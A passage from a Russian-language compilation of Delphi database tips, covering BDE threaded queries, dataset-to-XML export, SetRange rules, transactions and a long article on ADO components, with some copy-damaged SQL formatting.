  Application.ShowException(FQueryException); // Обрабатываем исключение
end;

procedure RunBackgroundQuery(Session: TSession; DataBase: TDataBase; Query:
  TQuery; DataSource: TDataSource);
begin
  { Создаем экземпляр TThread с различными параметрами. }
  TQueryThread.Create(Session, Database, Query, DataSource);
end;

{$R *.DFM}

procedure TForm1.GoBtn1Click(Sender: TObject);
begin
  { Запускаем два отдельных запроса, каждый в своем потоке }
  RunBackgroundQuery(Session1, DataBase1, Query1, Datasource1);
  RunBackgroundQuery(Session2, DataBase2, Query2, Datasource2);
end;

end.

Метод TForm1.GoBtn1Click является обработчиком события нажатия кнопки. Данный обработчик события дважды вызывает процедуру RunBackgroundQuery, это случается при каждой передаче новых параметров компонентам для работы с базой данных. RunBackgroundQuery создает отдельный экземпляр класса TQueryThread, передает различные компоненты для работы с базой данных в его конструктор, который, в свою очередь, назначает их закрытым полям TQueryThread.

TQueryThread содержит две определенные пользователем процедуры: ConnectDataSource и ShowQryError. ConnectDataSource связывает FDataSource.DataSet с FQuery. Тем не менее, это делается в первичном потоке с помощью метода TThread.Synchronize. ShowQryError обрабатывает исключение в контексте первиного потока, также используя метод Synchronize. Конструктор Create и метод Execute снабжены подробными комментариями.

Взято с http://delphiworld.narod.ru


BDE: Несколько SQL-запросов одним махом

BDE такую возможность не поддерживает, но есть компонент в библиотеке RxLib - TSQLScript (соответственно и в JVCL - TJvSQLScript), поставляются они в исходниках, и переделать их на любой другой доступ проще-простого. Компонет делает парсинг SQL и выполняет несколько SQL запросов.

Автор: Петрович

Взято из http://forum.sources.ru


Разные вопросы

Cодержание раздела:

Проблемы использования компонента TStoredProc
Как сделать экспорт TDataSet в XML file?
Какой формат данных предпочесть в Delphi? DBase или Paradox?
Пример вызова TUTILITY DLL из Delphi?
Правила для SetRange
Как заставить BDE сохранять в БД поле времени с сотыми долями секунды
Внести изменения в набор данных и не потерять текушей позиции
Работа с транзакциями
Как сравнить Bookmarks в таблице
Как ускорить поиск? New!
Загрузить все записи в Stringlist одним махом? New!
Как предотвратить Data Corruption (повреждение данных)? New!


Проблемы использования компонента TStoredProc

Недавно я перешел на использование Oracle, но все мои попытки использовать компонент TStoredProc оказываются неудачными. Почему?

Причины неработоспособности компонента TStoredProc могут быть следующими.

Во-первых, при использовании ODBC-доступа может оказаться, что применяемый вами ODBC-драйвер не поддерживает хранимые процедуры (как известно, не все ODBC-драйверы их поддерживают).

Во-вторых, имеется известная проблема, описание которой содержится в разделе Developers Support корпоративного сайта Inprise (http://www.inprise.com). Дело в том, что число параметров хранимой процедуры, с которой взаимодействует компонент TStoredProc, не должно превышать 10. В случае, если реальное число параметров превышает 10, многие разработчики переписывают хранимые процедуры так, чтобы они использовали строковые параметры, содержащие по несколько реальных параметров.

Наталия Елманова
Взято из http://forum.sources.ru


Как сделать экспорт TDataSet в XML file?

{Unit to export a dataset to XML}

unit DS2XML;

interface

uses
  Classes, DB;

procedure DatasetToXML(Dataset: TDataSet; FileName: string);

implementation

uses
  SysUtils;

var
  SourceBuffer: PChar;

procedure WriteString(Stream: TFileStream; s: string);
begin
  StrPCopy(SourceBuffer, s);
  Stream.Write(SourceBuffer[0], StrLen(SourceBuffer));
end;

procedure WriteFileBegin(Stream: TFileStream; Dataset: TDataSet);

  function XMLFieldType(fld: TField): string;
  begin
    case fld.DataType of
      ftString: Result   := '"string" WIDTH="' + IntToStr(fld.Size) + '"';
      ftSmallint: Result := '"i4"'; //??
      ftInteger: Result  := '"i4"';
      ftWord: Result     := '"i4"'; //??
      ftBoolean: Result  := '"boolean"';
      ftAutoInc: Result  := '"i4" SUBTYPE="Autoinc"';
      ftFloat: Result    := '"r8"';
      ftCurrency: Result := '"r8" SUBTYPE="Money"';
      ftBCD: Result      := '"r8"'; //??
      ftDate: Result     := '"date"';
      ftTime: Result     := '"time"'; //??
      ftDateTime: Result := '"datetime"';
      else
    end;
    if fld.Required then
      Result := Result + ' required="true"';
    if fld.ReadOnly then
      Result := Result + ' readonly="true"';
  end;
var
  i: Integer;
begin
  WriteString(Stream, '<?xml version="1.0" standalone="yes"?><!-- Generated by SMExport -->  ' +
    '<DATAPACKET Version="2.0">');
  WriteString(Stream, '<METADATA><FIELDS>');

  {write th metadata}
  with Dataset do
    for i := 0 to FieldCount - 1 do
    begin
      WriteString(Stream, '<FIELD attrname="' +
        Fields[i].FieldName +
        '" fieldtype=' +
        XMLFieldType(Fields[i]) +
        '/>');
    end;
  WriteString(Stream, '</FIELDS>');
  WriteString(Stream, '<PARAMS DEFAULT_ORDER="1" PRIMARY_KEY="1" LCID="1033"/>');
  WriteString(Stream, '</METADATA><ROWDATA>');
end;

procedure WriteFileEnd(Stream: TFileStream);
begin
  WriteString(Stream, '</ROWDATA></DATAPACKET>');
end;

procedure WriteRowStart(Stream: TFileStream; IsAddedTitle: Boolean);
begin
  if not IsAddedTitle then
    WriteString(Stream, '<ROW');
end;

procedure WriteRowEnd(Stream: TFileStream; IsAddedTitle: Boolean);
begin
  if not IsAddedTitle then
    WriteString(Stream, '/>');
end;

procedure WriteData(Stream: TFileStream; fld: TField; AString: ShortString);
begin
  if Assigned(fld) and (AString <> '') then
    WriteString(Stream, ' ' + fld.FieldName + '="' + AString + '"');
end;

function GetFieldStr(Field: TField): string;

  function GetDig(i, j: Word): string;
  begin
    Result := IntToStr(i);
    while (Length(Result) < j) do
      Result := '0' + Result;
  end;
var
  Hour, Min, Sec, MSec: Word;
begin
  case Field.DataType of
    ftBoolean: Result := UpperCase(Field.AsString);
    ftDate: Result    := FormatDateTime('yyyymmdd', Field.AsDateTime);
    ftTime: Result    := FormatDateTime('hhnnss', Field.AsDateTime);
    ftDateTime:
      begin
        Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
        DecodeTime(Field.AsDateTime, Hour, Min, Sec, MSec);
        if (Hour <> 0) or (Min <> 0) or (Sec <> 0) or (MSec <> 0) then
          Result := Result + 'T' + GetDig(Hour, 2) + ':' + GetDig(Min,
            2) + ':' + GetDig(Sec, 2) + GetDig(MSec, 3);
      end;
    else
      Result := Field.AsString;
  end;
end;

procedure DatasetToXML(Dataset: TDataSet; FileName: string);
var
  Stream: TFileStream;
  bkmark: TBookmark;
  i: Integer;
begin
  Stream       := TFileStream.Create(FileName, fmCreate);
  SourceBuffer := StrAlloc(1024);
  WriteFileBegin(Stream, Dataset);

  with DataSet do
  begin
    DisableControls;
    bkmark := GetBookmark;
    First;

    {write a title row}
    WriteRowStart(Stream, True);
    for i := 0 to FieldCount - 1 do
      WriteData(Stream, nil, Fields[i].DisplayLabel);
    {write the end of row}
    WriteRowEnd(Stream, True);

    while (not EOF) do
    begin
      WriteRowStart(Stream, False);
      for i := 0 to FieldCount - 1 do
        WriteData(Stream, Fields[i], GetFieldStr(Fields[i]));
      {write the end of row}
      WriteRowEnd(Stream, False);

      Next;
    end;

    GotoBookmark(bkmark);
    EnableControls;
  end;

  WriteFileEnd(Stream);
  Stream.Free;
  StrDispose(SourceBuffer);
end;

end.

//Beispiel, Example:

uses DS2XML;

procedure TForm1.Button1Click(Sender: TObject);
  begin  DatasetToXML(Table1, 'test.xml');
  end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Какой формат данных предпочесть в Delphi? DBase или Paradox?

Если вам действительно все равно, то вот несколько пунктов "за" формат Paradox:

1. Широкий выбор типов полей, включая автоинкремент, BLOBs, и т.п.
2. Соблюдение целостности данных, контроля данных, обновления индексов на уровне ядра BDE.
3. Первичный индекс таблицы автоматически соблюдает уникальность записей, вторичные индексы обеспечивают отсортированный "вид" на записи таблицы.
Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


Пример вызова TUTILITY DLL из Delphi?

var
  Session: hTUses;
  i: integer;
  ErrorCode: word;
  ResultCode: word;

procedure BdeError(ResultCode: Word);
begin
  if ResultCode <> 0 then
    raise Exception.CreateFmt('BDE ошибка %x', [ResultCode]);
end;

begin
  try
    BdeError(DbiInit(nil));
    BdeError(TUInit(@Session));

    for i := 1 to High(TableNames) do
      begin
        WriteLn('Проверка ' + TableNames[i]);

        ResultCode := TUVerifyTable(Session, @TableNames[i, 1], szPARADOX, 'TABLERRS.DB', nil, TU_Append_Errors, ErrorCode);
        BdeError(ResultCode);

        if ErrorCode = 0 then
          WriteLn('Успешно')
        else
          WriteLn('ОШИБКА! -- Для информации смотри TABLERRS.DB!');

        WriteLn('');
      end;
  finally
    BdeError(TUExit(Session));
    BdeError(DbiExit);
  end;
end.
Взято из Советов по Delphi отВалентина Озерова
Сборник Kuliba


Правила для SetRange

Я, похоже, обнаружил неплохое решение ранжирования данных - вам необходимо только установить различные начальный и конечный диапазоны последнего поля, определенного вашим индексом, после чего введенное в любое поле индекса значение будет проигнорировано. Также вы не сможете покинуть ранжируемое поле, если редактируемая запись пуста.

Попытаюсь изложить все попроще... Скажем, у меня есть индекс Field1; Field2; Field3, затем;

SetRangeStart;
Table1Field1.Value := x1;
Table1Field2.Value := y1;
Table1Field3.Value := z1;
SetRangeEnd;
Table1Field1.Value := x2;
Table1Field2.Value := y2;
Table1Field3.Value := z2;
ApplyRange;

Правила...

x1 должен равняться x2, если y или z определен
y1 должен равняться y2, если z определен
x должен быть определен, если y или z определены
y должен быть определен, если x определен
если x1 = x2 и никаких других критериев не определено, тогда y1 и y2 должны быть соответственно min/max значениями y
если x1 = x2 и y1 = y2 и никаких других критериев не определено, тогда z1 и z2 должны быть соответственно min/max значениями z
Я не знаю, поняли вы это или нет, но надеюсь это поможет...

Взято с http://delphiworld.narod.ru


Как заставить BDE сохранять в БД поле времени с сотыми долями секунды

Если руками, то в BDE Administrator (BDE Configuration Utility).

Если при инсталляции твоей программы, то -
В пункте Make Registry Changes InstallShield'а создай ключ

HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Database Engine\Settings\SYSTEM\FORMATS\TIME\MILSECONDS=TRUE

Взято с http://delphiworld.narod.ru


Внести изменения в набор данных и не потерять текушей позиции

procedure TMyForm.MakeChanges;
var
  aBookmark: TBookmark;
begin
  Table1.DisableControls;
  aBookmark := Table.GetBookmark;
  try
    {ваш код}
  finally
    Table1.GotoBookmark(aBookmark);
    Table1.FreeBookmark(aBookmark);
    Table1.EnableControls;
  end;
end

Взято с http://delphiworld.narod.ru


Работа с транзакциями

dbMain.StartTransaction;
try
  spAddOrder.ParamByName('ORDER_NO').AsInteger := OrderNo;
  spAddOrder.ExecProc;
  for i := 0 to PartList.Count - 1 do
  begin
     spReduceParts.ParamByName('PART_NO').AsInteger := PartRec(PartList.Objects[i]).PartNo;
     spReduceParts.ParamByName('NUM_SOLD').AsInteger := PartRec(PartList.Objects[i]).NumSold;
  end;
  dbMain.Commit;
except
  dbMain.RollBack;
  raise;
end;

Взято с http://delphiworld.narod.ru


Как сравнить Bookmarks в таблице

function TBDEDirect.CompareBookmarks(Bookmark1, Bookmark2: TBookmark): Boolean;
var
  Res: DBIResult;
  CompareRes: Word;
begin
  Result := False;
  if CheckDatabase then
  begin
    Res := DbiCompareBookmarks(FDataLink.DataSource.DataSet.Handle,
    Bookmark1, Bookmark2, CompareRes);
    if Res = 0 then
      if CompareRes = 0 then
        Result := True
      else
    else
      Check(Res);
  end;
end;

Взято с http://delphiworld.narod.ru


Как ускорить поиск?

type
  TForm1 = class(TForm)
    DataSource1: TDataSource;
    Table1: TTable;
    Button1: TButton;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  SeekValue: string;
begin
  Table1.DisableControls;
  Table1.FindKey([SeekValue]);
  Table1.EnableControls;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Загрузить все записи в Stringlist одним махом?

Loading millions of records into a stringlist can be very slow }

procedure TForm1.SlowLoadingIntoStringList(StringList: TStringList);
begin
  StringList.Clear;
  with SourceTable do
  begin
    Open;
    DisableControls;
    try
      while not EOF do
      begin
        StringList.Add(FieldByName('OriginalData').AsString);
        Next;
      end;
    finally
      EnableControls;
      Close;
    end;
  end;
end;

{ This is much, much faster }
procedure TForm1.QuickLoadingIntoStringList(StringList: TStringList);
begin
  with CacheTable do
  begin
    Open;
    try
      StringList.Text := FieldByName('Data').AsString;
    finally
      Close;
    end;
  end;
end;

{ How can this be done?

  In Microsoft SQL Server 7, you can write a stored procedure that updates every night
  a cache table that holds all the data you want in a single column and row.
  In this example, you get the data from a SourceTable and put it all in a Cachetable.
  The CacheTable has one blob column and must have only one row.
  Here it is the SQL code: }

Create Table CacheTable
(Data Text NULL)
GO

Create

procedure PopulateCacheTable as
  begin
  set NOCOUNT on
  DECLARE @ptrval binary(16), @Value varchar(600) -
  - a good Value for the expected maximum Length
  - - You must set 'select into/bulkcopy' option to True in order to run this sp
  DECLARE @dbname nvarchar(128)
  set @dbname = db_name()
EXEC sp_dboption @dbname, 'select into/bulkcopy', 'true'
- - Declare a cursor
DECLARE scr CURSOR for
SELECT  OriginalData + char(13) + char(10) - - each line in a TStringList is
separated by a #13#10
FROM    SourceTable
- - The CacheTable Table must have only one record
if EXISTS (SELECT * FROM CacheTable)
Update CacheTable set Data = ''
else
Insert CacheTable VALUES('')
- - Get a Pointer to the field we want to Update
SELECT @ptrval = TEXTPTR(Data) FROM CacheTable

Open scr
FETCH Next FROM scr INTO @Value
while @ @FETCH_STATUS = 0
begin - - This UPDATETEXT appends each Value to the
end
of the blob field
UPDATETEXT CacheTable.Data @ptrval NULL 0 @Value
FETCH Next FROM scr INTO @Value
end
Close scr
DEALLOCATE scr
- - Reset this option to False
EXEC sp_dboption @dbname, 'select into/bulkcopy', 'false'
end
GO

{ You may need to increase the BLOB SIZE parameter if you use BDE }
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как предотвратить Data Corruption (повреждение данных)?

{
  If a database or a table is local on a PC installed (Paradox or Dbase)
  and the BDE-setting "LOCAL SHARE" is FALSE, then changings are not
  stored immediatly but are kept in the memory.
  This changings are gone after a chrash.
  So it might be better after changing to store the data physically on the disk:
}

uses
  BDE;

procedure TForm1.Table1AfterPost(DataSet: TDataSet);
begin
  DbiSaveChanges(Table1.Handle);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа через ADO

Cодержание раздела:

Компоненты ADO (статья) New!
Использование ADO (статья) New!
Как работать с ADO компонентами в DLL?
Из Paradox в Access при помощи ADO
Курсоры в ADO
Поиск в базе данных
Экспорт ADO таблиц в разные форматы
Экспорт из TDBGrid в Excel без OLE
Как узнать версию ADO?
Как сделать ADO-connection?
ADO+Delphi5: постоянные ошибки BOF... или EOF...
Передача параметров ADO запросу
Как работать из Delphi напрямую с ADO?
Запись картинки в ADO таблицу
Быстрый доступ к ADO
Access Violation при передаче неполного параметра
Как сделать ADOConnection с использованием OLE-Automation? New!

См. также статьи в других разделах:
Доступ к Oracle через ADO
Записываем в Access используя OLE DB
Help по синтаксису SQL для MS Access (DAO/ADO/ODBC)
OLE и Interbase - прочесть и записать
Через DAO/ODBC/ADO


Компоненты ADO (статья)

В Delphi 5.0 появились компоненты для работы с Microsoft® ActiveX® Data Objects (далее ADO). ADO это технология стандартного обращения к реляционным данным от Microsoft. Эта технология аналогична BDE по назначению и довольно близка по возможностям.

Следует отличать компоненты Delphi, являющиеся частью библиотеки визуальных компонентов Delphi (VCL), и интерфейсы и объекты ADO, которые в них инкапсулированы. В дальнейшем, когда упоминается компонент – это компонент Delphi, а когда объект или интерфейс – это объект или интерфейс ADO.
Обзор компонент
Для работы с ADO на вкладке компонентов ADO есть шесть компонентов: TADOConnection, TADOCommand, TADODataSet, TADOTable, TADOQuery, TADOStoredProc.

Рис. 0. Палитра компонент ADO

TADOConnection аналогичен компоненту BDE TDatabase и используется для указания базы данных и работы транзакциями.

TADOTable – таблица доступная через ADO.

TADOQuery – запрос к базе данных. Это может быть как запрос, в результате которого возвращаются данные и базы (например, SELECT), так и запрос не возвращающий данных (например, INSERT).

TADOStoredProc – вызов хранимой процедуры. В отличие от BDE и InterBase хранимые процедуры в ADO могут возвращать набор данных, по этому компонент данного типа является потомком от TDataSet и может выступать источником данных в компонентах типа TDataSource.

TADOCommand и TADODataSet являются наиболее общими компонентами для работы с ADO, но и наиболее сложными в работе. Оба компонента позволяют выполнять команды на языке провайдера данных (так в ADO называется драйвер базы данных).
Разница между ними в том, что команда, исполняемая через TADODataSet, должна возвращать набор данных и этот компонент позволяет работать с ними средствами Delphi (например, привязать компонент типа TDataSource). А компонент TADOCommand позволяет исполнять команды не возвращающие набор данных, но не имеет штатных средств Delphi для последующего использования возвращенного набора данных.

Очевидно, что все компоненты должны связываться с базой данных. Делается это двумя способами либо через компонент TADOConnection либо прямым указанием базы данных в остальных компонентах. К TADOConnection остальные компоненты привязываются с помощью свойства Connection, к базе данных напрямую через свойство ConnectionString.
База данных может быть указана двумя способами через файл линка к данным (файл в формате Microsoft Data Link, расширение UDL), либо прямым заданием параметров соединения.
Значение свойства всех ConnectionString этих компонент могут быть введены напрямую в текстовой форме, но куда проще вызвать редактор свойства нажав на кнопку «…» в конце поля ввода. Окно этого свойства выглядит так:

Рис. 1.

При выборе «Use data link file» и нажатии на кнопку «Browse…» появляется стандартный диалог выбора файла. Этот файл можно создать в любом окне explorer-а (в этом окне открытия файла, в самом explorer, на desktop и т.д.) вызвав контекстное меню и выбрав пункт «New/Microsoft Data Link». Потом вызовите локальное меню для созданного файла и выберите в нем пункт «Open». После этого появится property sheet описанный чуть ниже. Эти же вкладки содержит и property sheet, вызываемый через пункт «Property» локального меню UDL файла, но в нем еще есть вкладки относящиеся к самому файлу.
Использование файлов Microsoft Data Link упрощает поддержку приложений, так как возможно использовать средства Windows для настройки приложения.
При выборе в редакторе свойства «Use connection string» и нажатии на кнопку «Build…» появляется такой же property sheet, как и при выборе «Open» для Microsoft Data Link файла.
В этом окне выбирается тип базы данных, местоположение базы и параметры соединения.
На первой странице выбирается тип базы данных или Provider, в терминах ADO.

Рис. 2.

Базы MS Access доступны как через «Microsoft Jet OLE DB Provider», так и через «Microsoft OLE DB Provider for ODBC».
Следующая страница зависит от выбранного типа базы, однако для всех типов есть кнопка «Test connection» позволяющая проверить правильность и полноту параметров.
Для «Microsoft Jet OLE DB Provider» она выглядит так:

Рис. 3.

Checkbox «Blank password» подавляет диалог ввода идентификатора и пароля пользователя при установлении соединения, если поле пароля пустое.
Checkbox «Allow saving password» сохраняет пароль в строке параметров соединения. Если он не отмечен, то введенный пароль будет использоваться только при выполнении тестового соединения.
Для «Microsoft OLE DB Provider for ODBC» эта страница выглядит так:

Рис. 4.

Радиокнопка «Use data source name» позволяет ввести предустановленный алиас ODBC, а через «Use connection string» вводится как алиасы так и тип ODBC драйвера и параметры соединения.
Параметры идентификации пользователя аналогичны выше описанным.

На странице «Advanced» расположены дополнительные параметры, с помощью которых устанавливается уровень доступа к файлу базы данных, таймаут сетевого соединения (то есть время через которое связь будет считаться потерянной, если сервер не отвечает) и уровень глубины проверки секретности соединения.

Рис. 5.

На странице «All» можно отредактировать все параметры с предыдущих страниц и параметры зависящие от провайдера, но не вошедшие на страницу «Connection». Редактирование осуществляется в виде параметр – значение, причем в текстовой форме, никаких диалогов нет. Помощи то же нет, эти параметры описаны только в документации на провайдер. Ее можно найти в MSDN Data Access Services/Microsoft Data Access Components (MDAC) SDK/Microsoft ActiveX Data Objects (ADO)/Microsoft ADO Programmer's Reference/Using Providers with ADO.

Рис. 6.

В компоненте TADOConnection есть свойства Provider, DefaultDatabase и Mode которые являются альтернативным методом задания частей строки параметров соединения – провайдера, базы данных (например, пути до базы MS Access) и режима совместного использования файлов базы данных. Эти значение этих свойств автоматически включаются в строку соединения, если были заданы до активизации компонента и автоматически выставляются после соединения.

Простейшее приложение
Создадим простейшее приложение, состоящее из одной таблицы.
Создаем форму состоящую из трех компонент
TADOTable с палитры компонент ADO,
TDataSource с палитры компонент Data Access,
TDBGrid c палитры компонент Data Controls.

Рис 7

Связываем компоненты, устанавливая
свойство TDBGrid DataSource на компонент TDataSource,
свойство DataSet компонента TDataSource на компонент TADOTable.

Теперь нам необходимо указать базу данных. Делается это в свойстве ConnectionString компонента TADOTable. При нажатии на кнопку «…» появится редактор параметров соединения. Отметим радокнопку «Use data link file», нажмите на кнопку «Browse…» и выберите в появившемся окне после файл линка к базе данных «\Program Files\Common Files\System\ole db\Data Links\DBDEMOS.UDL». Этот линк указывает на базу в формате MS Access, входящую в поставку Delphi.

После этого в свойстве TableName компонента TADOTable выберем таблицу customer.

Активизируем компонента TADOTable, установив свойство Active в True.

Приложение можно запускать. Этот пример можно найти в директории Simple.
Обзор ADO
ADO основано на технологии COM. Все объекты и интерфейсы ADO являются интерфейсами и объектами COM.

Рис 8. Архитектура ADO

Интерфейс Connection
Объекты этого типа выполняют следующие функции:
· Связь с сервером.
· Управление транзакциями.
· Получение информации о произошедших ошибках (свойство Errors).
· Получение информации о схеме данных (таблицы, поля и так далее).

Рис 9. Схема взаимодействия в ADO основных COM интерфейсов

Интерфейсы Recordset и Field
Интерфейс Recordset (на нижнем уровне ADO это IRowset) является аналогом TDataSet в Delphi.
Поддерживает текущее положение и перемещение курсора, закладки (bookmarks), чтение, изменение и удаление записей и так далее. Значение полей и их типы доступны с помощью свойства Fields.
Интерфейс Field позволяет получать значение поля, его тип длину и так далее.

Интерфейсы Command и Parameter
Эти два типа позволяют работать с командами источника данных. Синтаксис команд для каждого из источников свой.

Интерфейс Property
Все объекты, кроме Parameter, имеют свойство Properties, которое позволяет получать и устанавливать параметры специфические для провайдера данных.

Библиотека довольно запутанная, многие функции дублированы в разных объектах. Например, Recordset можно создавать напрямую, методом Open, (причем предварительно создавать Connection не обязательно), можно получить как результат выполнения метода Command.Execute, либо после Connection.Execute задав команду без параметров.

Интерфейс Command инкапсулирован во все компоненты за исключением TADOConnection. Это сделано потому, что в ADO нет возможности получить данные не выполнив команду.

Интерфейс Recordset инкапсулирован в компоненты производные от TCustomADODataSet. Это компоненты TADODataSet, TADOTable, TADOQuery, TADOStoredProc. Получать данные из них возможно штатными средствами Delphi.
Возможно получение данных и при выполнении компонента TADOCommand. Метод этого компонента Execute возвращает тип _Recordset. После чего его можно, например, связать с компонентом TADODataSet следующим образом
ADODataSet1.RecordSet := ADOCommand1.Execute;

Компоненты TADOTable, TADOQuery и TADOStoredProc являются частными случаями команды, соответственно для таблицы, SQL запроса и хранимой процедуры.

Тип Connection инкапсулируется в компонент TADOConnection.
Когда вы выполняете команду предварительно не открывая соединение, оно все равно создается. Получить к нему доступ возможно через свойство Recordset. Привязать компонент TADOConnection к уже открытому соединению возможно через свойство ConnectionObject.

Информацию о структуре базы данных можно получить с помощью метода OpenSchema компонента TADOConnection. Эта информация представлена как набор таблиц, как стандартизованных, так и специфических для провайдера. Таким способом можно узнать список таблиц, запросов, хранимых процедур и многое другое. Однако изменять структуру базы с помощью возвращаемых наборов данных невозможно.
Пример использования TADOConnection
В этом примере рассматривается работа с компонентом TADOConnection, SQL запросами с параметрами и трансакциями.
Создадим приложение из следующих компонентов
Connect типа TADOConnection
MasterSQL и DetailSQL типа TADODataSet
MasterDS и DetailDS типа TDataSource
MasterGrid и DetailGrid типа TDBGrid

Рис 10. Master-detail форма на этапе дизайна

Связываем MasterGrid, MasterDS, MasterSQL и DetailGrid, DetailDS, DetailSQL аналогично предыдущему примеру, за исключением того, что вместо типа TADOTable используется тип TADODataSet.

Привязываем Connect к базе данных. Для этого в редакторе свойства ConnectionString выбираем ту же базу данных, что и в предыдущем примере.

Для ввода SQL запросов необходимо отредактировать свойство CommandText компонентах MasterSQL и DetailSQL. После нажатия на кнопку «…» появится редактор компонент, который выглядит следующим образом

Рис. 10

Кнопка «Add Table to SQL» добавляет в текст SQL запроса таблицу, выбранную в списке «Tables», а «Add Field to SQL» поле таблицы, выбранное в списке «Fields».

Запрос для MasterSQL

select VendorNo, VendorName, Country, City, State, Preferred
from vendors

Запрос в DetailSQL должен выбирать только те детали, поставщик которых является текущим в MasterSQL. Для этого установим свойство DataSource компонента DetailSQL в значение MasterDS.
Запрос для DetailSQL следующий:

select PartNo, OnOrder, OnHand, ListPrice, Description, Cost
from parts
where VendorNo = :VendorNo

:VendorNo в части where – параметр запроса. Параметры при установленном DataSource берутся из него.
Активизируем MasterSQL и DetailSQL аналогично предыдущему примеру.
Приложение можно запускать. Этот пример можно найти в директории MasterDetail.
Пример использования параметров запроса
Теперь ограничим выборку поставщиков по значению поля State. Для этого добавим к форме следующие компоненты StateEdit типа TEdit c вкладки Standard, QueryButton типа TButton c вкладки Standard

Изменим запрос в MasterSQL на

select VendorNo, VendorName, Country, City, State, Preferred
from vendors
where State = :StateID

:StateID – параметр, вместо которого при выполнении подставляется значение.
Добавим так же обработчик события OnClick в QueryButton следующего содержания

procedure TForm1.QueryButtonClick(Sender: TObject);
begin
   MasterSQL.Active := False;
   DetailSQL.Active := False;
   MasterSQL.Parameters.ParamByName('StateID').Value := StateEdit.Text;
   MasterSQL.Active := True;
   DetailSQL.Active := True;
end;

Программа готова.

Синхронизация данных клиента и сервера.
В ADO используются три метода синхронизации данных на клиенте и сервере.
Первый – c помощью метода Resync, который повторно считывает записи набора. Этот метод используется при выполнении метода Refresh Delphi.
Второй – повторный запрос методом Requery, который заново выполняет запрос на сервере. Выполнение этого метода то же самое, что и выполнение подряд закрытия и открытия набора данных.
Третий- уведомление сервером клиента в случае изменения данных.

Этих методы доступны во всех компонентах имеющих набор данных. Однако эти функции доступны не для всех баз данных.

Работа с транзакциями
В компонентах ADO работа с транзакциями осуществляется через компонент TADOConnection.
Тип транзакции устанавливается в свойстве IsolationLevel одной из следующих констант:

IlUnspecified Сервер будет использовать лучший, по его мнению, тип изоляции.
IlChaos Транзакции с более высоким уровнем изоляции не могут изменять данные измененные, но не подтвержденные в текущей транзакции.
IlReadUncommitted Чтение данных измененных в не подтвержденных транзакций. То есть изменения видны сразу после того как другая транзакция передала их на сервер.
IlBrowse То же самое что и IlReadUncommitted
IlReadCommitted Чтение данных измененных подтвержденными транзакциями. То есть изменение данных будет видимо после выполнения Commit в другой транзакции.
IlCursorStability То же самое что и IlCursorStability.
IlRepeatableRead Изменения, сделанные другими транзакциями не видимы, но при выполнении перезапроса они транзакция может получать новый набор данных.
IlIsolated Транзакция не видит изменений данных произведенных другими транзакциями.
IlSerializable То же самое что и IlIsolated.

Обратите внимание на то, что не все типы провайдеров данных поддерживают все типы изоляции или работу с транзакциями.

Свойство Attributes устанавливает открывать ли новую транзакцию автоматически
xaCommitRetaining – при подтверждении транзакции
xaAbortRetaining – при отмене транзакции

Так же у компонента TADOConnection есть три метода для работы с транзакциями:
BeginTrans Начинает транзакцию
CommitTrans Подтверждает сделанные изменения
RollbackTrans Откатывает транзакцию.
Пример работы с транзакциями
За базовый возьмем пример использования TADOConnection.
Добавим к форме две кнопки (StCmButton и RollbackButton) типа TButton, обработчики событий OnClick этих кнопок, процедуру fix_controls без параметров к форме, обработчик события OnActivate формы

type
  TForm1 = class(TForm)
   …
private
       procedure fix_controls;
   …
procedure TForm1.fix_controls;
begin
    if Connection.InTransaction then
        begin
           StCmButton.Caption := 'Commit';
           RollbackButton.Enabled := True;
        end
    else
        begin
           StCmButton.Caption := 'Begin';
           RollbackButton.Enabled := False;
        end;
    MasterSQL.Requery;
    DetailSQL.Requery;
end;

procedure TForm1.StCmButtonClick(Sender: TObject);
begin
    if not Connection.InTransaction
          then Connection.BeginTrans
          else Connection.CommitTrans;
    fix_controls;
end;

procedure TForm1.RollbackButtonClick(Sender: TObject);
begin
    Connection.RollbackTrans;
    fix_controls;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
    fix_controls;
end;

Программу можно запускать.

Обратите внимание на то, что когда транзакция не запущена, все равно можно изменять данные и они записываются немедленно.

Доступ к данным
В отличие от BDE, ADO поддерживает больше настроек работы данных.
В ADO есть понятие набора данных (recordset) и тесно связанное с ним понятие курсора (cursor). Что такое курсор в документации на ADO не описано. Однако почему то месторасположение набора данных называется положением курсора. Я думаю, что это терминологическая путаница в Microsoft и курсор то же самое что набор данных.
Во всех компонентах имеющих набор данных (то есть в TADODataSet, TADOTable, TADOQuery, TADOStoredProc) есть свойства CursorLocation, CursorType, LockType и MarshalOptions, устанавливающие параметры обмена с сервером. Все эти свойства должны быть установлены до того, как набор данных открывается. Если вы установите их позже, то эффекта не будет.

CursorLocation – определяет, где выполняется работа с набором на клиенте (clUseClient) или на сервере (clUseServer). Если набор данных расположен на клиенте, то с сервера данные запрашиваются однократно (или до выполнения повторного запроса), в дальнейшем вся выборка данных и позиционирование идет на клиенте. Однако модификация данных производится немедленно.

CursorType – устанавливает тип курсора. Значение одно из:
ctUnspecified – библиотека ADO сама определяет оптимальный тип блокировки.
ctStatic – статический курсор. Статическая копия набора записей, которую вы можете использовать, например, для генерации отчета. Добавления, изменения или удаление записей другими пользователями не видимы.
сtOpenForwardOnly – идентичен статическому курсору, за исключением того, что вы можете переходить только вперед. Это тип улучшает эффективность в ситуациях, когда вы делаете только один проход через набор данных.
ctDynamic – динамический курсор. Добавления, изменения и удаление другими пользователями видимы и возможны все типы передвижения по набору данных. Закладки (bookmarks) возможны только, если провайдер данных их поддерживает.
ctKeyset – курсор набора данных. Аналогичен динамическому курсору, за исключением того, что вы не увидите записи добавленные другими пользователями, а записи удаленные другими пользователями недоступны из вашего набора данных. Изменения данных другими пользователями видимы.

Надо заметить, что TDBGrid и другие компоненты, одновременно работающие с несколькими записями, могут работать только когда закладки поддерживаются. Поэтому для компонент с которыми вы будите связывать такие компоненты должны использоваться типы ctKeyset или ctDynamic.

LockType – определяет тип блокировки записей в наборе данных. Оно из:
ltUnspecified – библиотека ADO сама определяет какой тип будет использоваться.
ltReadOnly – только чтение, изменение данных невозможно.
